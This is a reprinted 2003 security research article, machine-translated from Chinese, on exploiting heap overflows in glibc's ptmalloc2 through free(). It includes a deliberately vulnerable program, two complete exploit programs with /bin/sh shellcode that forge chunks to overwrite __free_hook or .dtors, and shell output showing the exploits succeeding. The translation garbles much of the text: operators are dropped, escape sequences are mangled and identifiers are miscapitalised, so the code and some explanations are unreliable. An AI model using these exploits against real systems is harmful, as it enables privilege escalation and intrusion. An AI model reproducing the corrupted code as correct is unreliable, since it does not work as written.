Preliminary study on pile of ptmalloc2
Creation time: 2003-09-18
Article properties: reprint
Article Source: Backend [At] nsfocus.com
Article submission:
Watercloud (watercloud_at_xfocus.org)
Original article is attached to the UNIX Hacking version, discussing an article in the new version of Glibc heap management.
Discussion reference:
https://www.xfocus.net/bbs/index.php?act=st&f=19&t=28202
Preliminary study on pile of ptmalloc2
By backend at nsfocus.com
Date: 2003-09-16
★ directory
cause
the reason
analysis
breakthrough
Code
exception
end
reference
★ cause
Let's take a look at the vulnerability program of this article:
#include
#include
#include
Int foo (char * s1, char * s2)
{
STRCPY (S1, S2);
Printf ("INPUT:% S / R / N", S1);
Return 0;
}
Main (int Argc, char ** argv)
{
Char * p1;
Char * p2;
IF (Argc <2)
{
Printf ("USAGE:% S
exit (0);
}
IF (Strlen (Argv [1])> 100-1)
{
Printf ("ERROR: TOON LONG / N");
exit (0);
}
P1 = (char *) Malloc (20);
P2 = (char *) malloc (100);
MEMSET (P1, 0, 20);
MEMSET (P2, 0, 100);
STRCPY (P2, Argv [1]);
FOO (P1, P2);
Free (p1);
Free (p2);
Printf ("end./n");
exit (0);
}
$ GCC -O Heapvul Heapvul.c
For older version of the Glibc library, the code uses the Doug LEA Malloc implementation, so the attack is very simple.
According to Warning3, "a new HEAP area overflow technology analysis" published in early 2001
(
Http://magazine.nsfocus.net/index.php?act=magazine&do=view&mid=847), well
Easy to write the following attack code:
/ * Compile: GCC -O EX1 EX1.C * /
#include
#include
#define __free_hook 0x40163700
#define vulprog "./heapvul"
#define prev_inuse 0x1
#define is_mmapped 0x2
Char shellcode [] =
"/ XEB / X0A / X90 / X90 / X90 / X90 / X90 / X90 / X90"
"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"
"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd"
"/ X80 / XE8 / XDC / XFF / XFF / XFF / BIN / SH"; main (int Argc, char ** argv)
{
Unsigned int codeaddr = 0;
Char BUF [40], FAKE_CHUNK [16];
Char * ENV [2];
Unsigned int * PTR;
CodeAddr = 0xc0000000 - 4 - (Strlen (Vulprog) 1) - (Strlen (shellcode) 1);
ENV [0] = shellcode;
ENV [1] = NULL;
/ * Forgery a block structure * /
PTR = (unsigned int *) fake_chunk;
* PTR = 0x11223344 & ~ prev_inuse; / * Clear the prev_inuse bit * /
/ * Set the length to -4, this value should be a multiple of 4 * /
* PTR = 0xfffffffc;
* PTR = __free_hook - 12;
* PTR = CodeAddr;
Bzero (BUF, 40);
MEMSET (BUF, 'A', 16); / * Fill useless data * /
Memcpy (buf 16, fake_chunk, sizeof (fake_chunk));
EXECLE (Vulprog, Vulprog, BUF, NULL, ENV);
} / * End of main * /
[backend @ redhat72 nsfocus] $ uname -a
Linux nsfocus 2.4.7-10 # 1 thu Sep 6 17:27:27 Edt 2001 i686 unknown
GCC -O EX1 EX1.C
[backend @ redhat72 nsfocus] $ ./ex1
Input: aaaaaaaaaaaaaaaaad3 "? @? ?
SH-2.05 $
But the above code cannot be successful on the Red Hat 8 system:
[backend @ redhat8 nsfocus] $ GCC -O EX1 EX1.C
INPUT: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD3 "? Addiction B? ?
Segmentation Fault (Core Dumped)
★ reason
This is because in the new version of the Glibc library memory management uses Wolfram Gloger's PTMalloc / PTMalloc2
Code. The PTMalloc2 code is transplanted from the DOUG LEA code, the main purpose is to increase the multithreading (especially
Is the SMP system) environment support, and further optimize memory allocation, algorithms for recycling.
Malloc () / free () overflows will be more in certain conditions due to the introduction of the Fastbins mechanism in PTMalloc2.
Many restrictions, although the author is ideal for overflow attacks. Since Fastbins is an array of one-way linked lists, each
Fastbin is a one-way linked list that will be placed in the corresponding Fastbin when the memory block recycling of the Fastbins condition.
In the list, in order
Memory application can be allocated more quickly, thereby improving performance. So use PTMalloc2's piles (finger
Free () call, the following: first, you must first bypass the Fastbins mechanism.
In addition, the implementation code of Free () is different from the old version, and the creation and utilization of FAKE_CHUNKS must also be
Change. Below you will start to explore the various inspection conditions of Free () in the source code.
note! ! ! Before continuing to read the following, make sure you have learned that the knowledge involved in Warning3's "a new HEAP area overflow technology analysis", especially the structure of the Chunk and Unlink, otherwise you may
I feel a little dizzy steering. ;)
★ analysis
To achieve the purpose of using the free () function call to attack, you need to meet the following 跫 ? Br />
1. Cover CHUNK that will be by Free (, for example, a pile overflow)
2, construct fake_chunk at the location covered with CHUNK
3. FAKE_CHUNK To make sure the unlink macro is running during the free () function call
4, the memory of the unlink macro operation will modify the process of the program
In the HeapVul.c program above, since the P1 points to Malloc (40) memory, there is free () recycling in this block.
Put it directly into a Fastbin Link due to the Fastbins condition:
/ *
IF Eligible, Place Chunk on A Fastbin So It Can Be Found
And used quickly in malloc.
* /
IF (SIZE) <= (unsigned long) / / meet Fastbins conditions
#if trim_fastbins
/ *
IF Trim_Fastbins Set, Don't Place Chunks
Bordering Top Into Fastbins
* /
&& (chunk_at_offset (p, size)! = AV-> TOP)
#ENDIF
) {
Set_fastchunks (av);
FB = & (av-> fastbins [fastbin_index (size)]); // This three lines of code will insert the memory block
Into the corresponding fastbin linked list
P-> fd = * fb;
* fb = p;
}
And because of the chunk structural head of P1, we can't control it, so Free (p1) can not be used.
So about free (p2)? ? ?
★ breakthrough
Since the memory block pointed to by the P1 is too small and there is no boundary check, we can cover (control) P2
The CHUNK structure head of the block, that is, the operation of Free (P2) will depend on the overlay, that is, the first,
2 conditions. So we only need to construct fake_chunk, it is entirely possible to meet the 3rd, 4 conditions, thus
Successful attacks.
Analysis _int_free () (free () real implementation code):
A) (see above,) make P2 do not meet Fastbins conditions
That is: fake_chunk-> size> 72 (AV-> max_fast default) <- a
B) Else if (! CHUNK_IS_MMAPPED (P)) {
Nextchunk = chunk_at_offset (p, size);
Nextsize = chunksize (Nextchunk);
Assert (NextSize> 0);
That is: FAKE_CHUNK-> SIZE & IS_MMAPPED == 0 (#define is_mmapped 0x2) <--- b1
(FAKE_CHUNK SIZE) -> Size> 0 <--- b2c) Next:
/ * Consolidate Backward * /
IF (! prev_inuse (p)) {
Prevsize = P-> prev_size;
SIZE = Prevsize;
P = chunk_at_offset (p, - ((long) prevsize);
Unlink (P, BCK, FWD); / * # 1 * /
}
IF (Nextchunk! = AV-> TOP) {
/ * Get and clear inuse bit * /
Next System = inuse_bit_at_offset (nextchunk, nextsize); <- @ _ @
/ * Consolidate Forward * /
IF (! Nextinuse) {
Unlink (Nextchunk, BCK, FWD); / * # 2 * /
SIZE = nextsize;
Else
CLEAR_INUSE_BIT_AT_OFFSET (NEXTCHUNK, 0);
/ *
Place the chunk in unsorted chunk list. Chunks Are
NOT Placed Into Regular Bins Until After They Have
BEEN GIVEN One Chance to Be Used in Malloc.
* /
BCK = UNSORTED_CHUNKS (AV);
FWD = BCK-> FD;
P-> BK = BCK; / * # 3 * /
P-> fd = fwd;
BCK-> fd = p;
FWD-> BK = P;
Set_head (p, size | prev_inuse);
Set_foot (p, size);
Check_free_chunk (av, p);
}
It can be seen that there are two places to call unlink. The first unlink (# 1) condition is that the previous memory block is not
For use, because prev_inuse is in the current memory block, it seems to be easier to control, but there is still a paragraph behind
Code (# 3), this code will once again modified the memory that has been rewritten by us (through unlink) (
Note: It is mainly the entrance to Shellcode here will be overwritten by BCK). So we turn the target to the second unlink
(# 2), it requires two conditions:
Nextchunk is not a TOP block (heap boundary), which is in line with this approach;
The next chunk block is not used, the next CHUNK block's prev_inuse bit is 0. <- c
At this point, if the above conditions can be met, the unlink will be called, thereby modifying our designated memory (note,
Address by the next chunk block of the FD / BK pointer! ).
What should I do will determine how to construct each fake_chunk step:
First, all FAKE_CHUNKs cannot contain zero characters, otherwise the string truncation problem will be encountered. At the same time, all the IS_MMAPped bits of Fake_Chunk are zero. (Satisfying the condition B1)
(FAKE_CHUNK1 is the first check when Free (p2), its function is to calculate _int_free ()
Fake_chunk2 location. )
First, fake_chunk1-> pre_size (psz1), there is no requirement for the time being (of course, it is best aligned).
Second, FAKE_CHUNK1-> SIZE (SZ1) is greater than 72 (Max_fast); at the same time, the prev_inuse position 1,
Let the unlink of # 1 are not triggered (so we don't have to consider PSZ2;)).
Third, FAKE_CHUNK1-> FD (FD1), there is no requirement for the time being (of course, it is best aligned).
Fourth, FAKE_CHUNK1-> BK (BK1), with FD1.
(FAKE_CHUNK2 role is critical, it will release yourself in Unlink "legal", that is, modify memory!)
Fifth, fake_chunk2-> pre_size (psz2), with PSZ1.
Sixth, fake_chunk2-> size (SZ2), require SZ> 0 and (FAKE_CHUNK2 SZ2) -> Size & Prev_size
To zero.
Seventh, FAKE_CHUNK2-> FD (FD2), pointing to the address to modify the memory - 12.
Eighth, fake_chunk2-> bk (bk2), pointing to Shellcode.
Next, we must further determine the value of each field:
For PSZ1 and PSZ2, the values are: 0x11223344
For SZ1, due to the positioning of FAKE_CHUNK2 depends on SZ1,
If you pick up, it will be great (because each byte cannot be zero), you can take appropriate value to fake_chunk1 sz1
Located in the environment variable of the stack, then Fake_Chunk2 outputs through the environment variable. Is there a disadvantage?
Easy to position, because it is not possible to accurately locate the FAKE_CHUNK1 address, can only be guess.
If you take a negative value? ? ? We can look back and look at the _int_free () code, you can surprise
It is actually allowed! ! ! Oh, this is good. Can we put fake_chunk2 in Fake_Chunk1
front! SZ1 value 0xffffffff0 (-16). (Satisfying conditions a)
For FD1 and BK1, this value is: 0x08080808
For SZ2, you can take any value, as long as (FAKE_CHUNK2 SZ2) -> Size & Prev_size is zero
Come (even when debugging at the time), it is actually. The code at @ _ @ is reading a memory operation, if
The memory page does not exist, causing an abnormality of the pages. So I decided to let Fake_Chunk2 SZ2 point to a space that inevitably presents the memory page table - the highest page of the user stack (ie 0xBffFFFFFFFFFFF), ie the value of SZ
(0xBffFFFF800 - BSS_ADDR). (Satisfying conditions B2 and condition C)
For FD2, since the memory address you can use, I choose a static determined .dtors section, fd
Take the value (DTORS_ADDR 4 - 12).
For BD2, output shellcode is one of the easiest way to determine an address with an environment variable.
Now, we can draw a schematic diagram of memory distribution before and after the forgery:
-> block 1 -> block 2
| | |
----------------------------------- ---------------------
| prev_size | size | 16bytes | prev_size2 | SIZE2 | Arbitrary Data
----------------------------------- ---------------------
----------------------------------- ---------------------
| prev_size | Size | PSZ2 | SZ2 | FD2 | BK2 | PSZ1 | SZ1 | FD1 | BK1 |
----------------------------------- ---------------------
| | |
-> fake_chunk2 -> fake_chunk1
★ overflow code
/ * Concept-of-proof expedition for free () @ Wolfram Gloger's PTMalloc2
*
* By backend at nsfocus.com
http://www.nsfocus.com)
* Date: 2003-09-15
*
* Compile: GCC -O EX2 EX2.C -LBFD
* /
#include
#include
#include
#include
#include
#define vulprog "./heapvul"
#define prev_inuse 0x1
#define is_mmapped 0x2
#define bfd_error (s) {bfd_perror (s); exit (-1);}
Unsigned int bss_addr, dtors_addr;
Void getBFDInfo ()
{
BFD * ABFD;
ASECTION * ASEC;
BFD_INIT ();
Abfd = bfd_openr (vulprog, null);
If (! abfd) bfd_error ("openr"); if (! bfd_check_format (abfd, bfd_object))
BFD_ERROR ("Object Format");
ASEC = BFD_GET_SECTION_BY_NAME (ABFD, ".BSS");
IF (! ASEC) BFD_ERROR (". Bss Section");
BSS_ADDR = (unsigned int) (ASEC-> VMA);
ASEC = BFD_GET_SECTION_BY_NAME (ABFD, ".dttors");
IF (! ASEC) BFD_ERROR (". Dtors Section");
DTORS_ADDR = (unsigned int) (ASEC-> VMA);
BFD_close (abfd);
}
Char shellcode [] =
"/ XEB / X0A / X90 / X90 / X90 / X90 / X90 / X90 / X90"
"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"
"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd"
"/ x80 / xe8 / xdc / xff / xff / xff / bin / sh";
Main (int Argc, char ** argv)
{
Unsigned int codeaddr = 0;
Char BUF [40], FAKE_CHUNKS [40];
Char * ENV [2];
Unsigned int * PTR;
CodeAddr = 0xc0000000 - 4 - (Strlen (Vulprog) 1) - (Strlen (shellcode) 1);
ENV [0] = shellcode;
ENV [1] = NULL;
GetBfdinfo ();
Bzero (fake_chunks, 40)
PTR = (unsigned int *) fake_chunks;
* PTR = 0x11223344; / * Garbage * /
* PTR = (0xBfffFf800 - BSS_ADDR) & ~ (is_mmapped | prev_inuse);
* PTR = DTORS_ADDR 4 - 12;
* PTR = CodeAddr;
* PTR = 0x11223344; / * Garbage * /
* PTR = -16 | prev_inuse & ~ is_mmapped;
/ * GARBAGE
* PTR = 0x08080808;
* PTR = 0x08080808;
* /
Bzero (BUF, 40);
Memcpy (buf, fake_chunks, sizeof (fake_chunks);
EXECLE (Vulprog, Vulprog, BUF, NULL, ENV);
} / * End of main * /
[backend @ redhat8 nsfocus] $ gcc -o ex2 ex2.c -lbfd
[backend @ redhat8 nsfocus] $ ./ex2
INPUT: D3 "` ǜ 焟 3 "?
End.
SH-2.05B $ ★ exception
PTR = (unsigned int *) fake_chunks;
* PTR = 0x11223344;
* PTR = (0xBfffFf800 - BSS_ADDR) & ~ (is_mmapped | prev_inuse);
* PTR = DTORS_ADDR 4 - 12;
* PTR = CodeAddr;
* PTR = 0x11223344;
* PTR = -16 | prev_inuse & ~ is_mmapped;
There are several places that can lead to failure -
BBS_ADDR! ! !
DTORS_ADDR! ! !
CodeAddr! ! !
The first two values are compiled post-compiled (read directly from the file header), and CodeAddr is fixed to the fixed system.
When these three address values are present (ie, zero characters) after the calculation result, it will cause string to copy truncation problems! ! !
On my RH8 test machine, did not add MEMSET (P2, 0, 100):
BSS_ADDR at: 0x8049734
DTORS_ADDR AT 0x80496F8
FAKE_CHUNKS LEN: 24
Overflow success.
When adding MEMSET (P2, 0, 100):
BSS_ADDR at: 0x8049744
DTORS_ADDR AT 0x8049708
FAKE_CHUNKS LEN: 8
Overflow failed!
see it? The minimum byte of DTORS_ADDR is 08, DTORS_ADDR 4 - 12 = 0x8049700, resulting in
Fake_chunks's string length is only 8! ! !
Verification: Modify any unrelated instructions (for example, deleting Prinf (), increase printf ()). For example, in my test machine
Printf ("end./n");
Change to (or delete):
PRINTF ("end.");
Printf ("/ n");
After, recompile the results:
BSS_ADDR at: 0x8049754
DTORS_ADDR AT 0x8049718
FAKE_CHUNKS LEN: 24
INPUT: D3 "琡 ? 緿 3"?
End.
SH-2.05B $
If you can't modify the source code? There are also many options, such as modifying GOT, modifying function pointers, modifying
EBP, modify the function returns the address, and so on. Of course, the difficulty may not be the same.
★ Conclusion
The above is briefly introduced how to use the free () call to use the province with a pile over in the new version of GLIBC. Can see due to
The invocation of Malloc / Free may be slightly different depending on the Fastbins mechanism. E.g,
Free () a Large Chunk is different from a small chunk, even small chunk, and
Whether it belongs to Fastbins, and so on. And for Exploit enthusiasts, design constructive fake_chunks is also very
pleasure. How to put the stack in the stack? ; How to falsify the CHUNK structure? Which addresses are covered? How to debug? ............ These questions are left to the readers of interest.
On the occasion of this Dongdong, I found that BKBLL also published a copy of the same problem in early September 2003.
Alternative Utilization Method of A Small Pile (HEAP) overflow "
(
http://www.nsfocus.net/index.php?act=sec_doc&d =View&doc_id=867). May wish to
According to research, there may be new discovery.
★ References
[1] WARNING3, << A new HEAP area overflow technology analysis >>
Http://magazine.nsfocus.net/index.php?act=magazine&do=view&mid=847
[2] DOUG LEA, << a Memory Allocator >>
Http://gee.cs.oswego.edu/dl/html/malloc.html
[3] Wolfram Gloger, PTMalloc2 Source Code
http://www.malloc.de/malloc/ptmalloc.tar.gz